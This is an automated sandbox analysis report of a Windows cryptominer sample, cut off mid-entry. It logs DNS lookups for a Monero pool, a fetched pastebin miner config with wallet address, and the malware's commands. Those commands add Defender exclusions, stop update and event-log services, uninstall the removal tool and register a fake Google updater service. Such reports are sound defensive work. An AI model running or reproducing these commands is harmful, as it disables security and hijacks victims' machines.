                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org51.15.65.182A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org54.37.232.103A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org51.89.23.91A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org141.94.23.83A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org212.47.253.124A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org51.15.193.130A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org162.19.224.121A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org163.172.154.142A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org54.37.137.114A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org51.15.58.224A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:15.009635925 CEST1.1.1.1192.168.2.50x62e3No error (0)xmr-eu1.nanopool.org146.59.154.106A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:16.143531084 CEST1.1.1.1192.168.2.50xeacaNo error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:16.143531084 CEST1.1.1.1192.168.2.50xeacaNo error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:16.143531084 CEST1.1.1.1192.168.2.50xeacaNo error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false

                                              HTTP Request Dependency Graph

                                              • pastebin.com

                                              HTTPS Proxied Packets

                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              0192.168.2.549705104.20.3.2354436556C:\Windows\explorer.exe
                                              TimestampBytes transferredDirectionData
                                              2024-08-02 17:25:16 UTC114OUTGET /raw/vtH4ka4Q HTTP/1.1
                                              Accept: */*
                                              Connection: close
                                              Host: pastebin.com
                                              User-Agent: cpp-httplib/0.12.6
                                              2024-08-02 17:25:17 UTC391INHTTP/1.1 200 OK
                                              Date: Fri, 02 Aug 2024 17:25:17 GMT
                                              Content-Type: text/plain; charset=utf-8
                                              Transfer-Encoding: chunked
                                              Connection: close
                                              x-frame-options: DENY
                                              x-content-type-options: nosniff
                                              x-xss-protection: 1;mode=block
                                              cache-control: public, max-age=1801
                                              CF-Cache-Status: EXPIRED
                                              Last-Modified: Fri, 02 Aug 2024 17:25:17 GMT
                                              Server: cloudflare
                                              CF-RAY: 8acfc42c1c69426d-EWR
                                              2024-08-02 17:25:17 UTC439INData Raw: 31 62 30 0d 0a 7b 0d 0a 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 22 70 6f 6f 6c 22 3a 20 22 78 6d 72 2d 65 75 31 2e 6e 61 6e 6f 70 6f 6f 6c 2e 6f 72 67 22 2c 0d 0a 22 70 6f 72 74 22 3a 20 31 30 33 34 33 2c 0d 0a 22 77 61 6c 6c 65 74 22 3a 20 22 34 34 73 5a 66 69 37 54 75 64 51 44 41 7a 4b 63 6d 46 48 63 6f 59 38 6a 42 5a 62 59 62 53 41 4b 58 4c 64 45 74 50 41 6a 63 43 57 6a 56 67 34 46 76 78 35 53 57 4a 4d 67 59 67 69 62 77 4c 67 42 57 54 58 55 47 59 52 59 36 76 78 57 52 58 6b 66 39 34 48 54 55 61 4a 72 38 48 56 69 43 53 78 2e 71 77 65 72 74 79 22 2c 0d 0a 22 70 61 73 73 77 6f 72 64 22 3a 20 22 22 2c 0d 0a 22 6e 69 63 65 68 61 73 68 22 3a 20 66 61 6c 73 65 2c 0d 0a 22 73 73 6c 74 6c 73 22 3a 20 74 72 75 65 2c 0d 0a 22 6d 61 78 2d 63 70 75 22 3a
                                              Data Ascii: 1b0{"algo": "rx/0","pool": "xmr-eu1.nanopool.org","port": 10343,"wallet": "44sZfi7TudQDAzKcmFHcoY8jBZbYbSAKXLdEtPAjcCWjVg4Fvx5SWJMgYgibwLgBWTXUGYRY6vxWRXkf94HTUaJr8HViCSx.qwerty","password": "","nicehash": false,"ssltls": true,"max-cpu":
                                              2024-08-02 17:25:17 UTC5INData Raw: 30 0d 0a 0d 0a
                                              Data Ascii: 0


                                              Statistics

                                              CPU Usage

                                              Click to jump to process

                                              Memory Usage

                                              Click to jump to process

                                              High Level Behavior Distribution

                                              Click to dive into process behavior distribution

                                              Behavior

                                              Click to jump to process

                                              System Behavior

                                              General

                                              Target ID:0
                                              Start time:13:25:03
                                              Start date:02/08/2024
                                              Path:C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe
                                              Wow64 process (32bit):false
                                              Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe"
                                              Imagebase:0x7ff60b770000
                                              File size:9'701'376 bytes
                                              MD5 hash:DD3AA70ADBE7894D6705DDB398155628
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:low
                                              Has exited:true

                                              General

                                              Target ID:2
                                              Start time:13:25:04
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                              Imagebase:0x7ff7be880000
                                              File size:452'608 bytes
                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:3
                                              Start time:13:25:04
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:5
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\cmd.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                              Imagebase:0x7ff699c70000
                                              File size:289'792 bytes
                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:6
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:moderate
                                              Has exited:true

                                              General

                                              Target ID:7
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:8
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:9
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\wusa.exe
                                              Wow64 process (32bit):false
                                              Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                              Imagebase:0x7ff691b50000
                                              File size:345'088 bytes
                                              MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:moderate
                                              Has exited:true

                                              General

                                              Target ID:10
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:moderate
                                              Has exited:true

                                              General

                                              Target ID:11
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:12
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:moderate
                                              Has exited:true

                                              General

                                              Target ID:13
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:14
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop bits
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:moderate
                                              Has exited:true

                                              General

                                              Target ID:15
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:16
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop dosvc
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:17
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:18
                                              Start time:13:25:08
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:19
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:20
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:21
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:22
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:23
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:24
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:25
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:26
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
                                              Imagebase:0x7ff6d64d0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:27
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:28
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:29
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:30
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop eventlog
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:31
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:32
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:33
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:34
                                              Start time:13:25:09
                                              Start date:02/08/2024
                                              Path:C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                              Imagebase:0x7ff688360000
                                              File size:9'701'376 bytes
                                              MD5 hash:DD3AA70ADBE7894D6705DDB398155628
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Antivirus matches:
                                              • Detection: 100%, Joe Sandbox ML
                                              • Detection: 68%, ReversingLabs
                                              Has exited:true

                                              General

                                              Target ID:35
                                              Start time:13:25:11
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                              Imagebase:0x7ff7be880000
                                              File size:452'608 bytes
                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:36
                                              Start time:13:25:11
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:37
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\cmd.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                              Imagebase:0x7ff699c70000
                                              File size:289'792 bytes
                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:38
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:39
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:40
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:41
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\wusa.exe
                                              Wow64 process (32bit):false
                                              Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                              Imagebase:0x7ff691b50000
                                              File size:345'088 bytes
                                              MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:42
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:43
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:44
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:45
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:46
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop bits
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:47
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:48
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\sc.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\sc.exe stop dosvc
                                              Imagebase:0x7ff73bad0000
                                              File size:72'192 bytes
                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:49
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:50
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:51
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
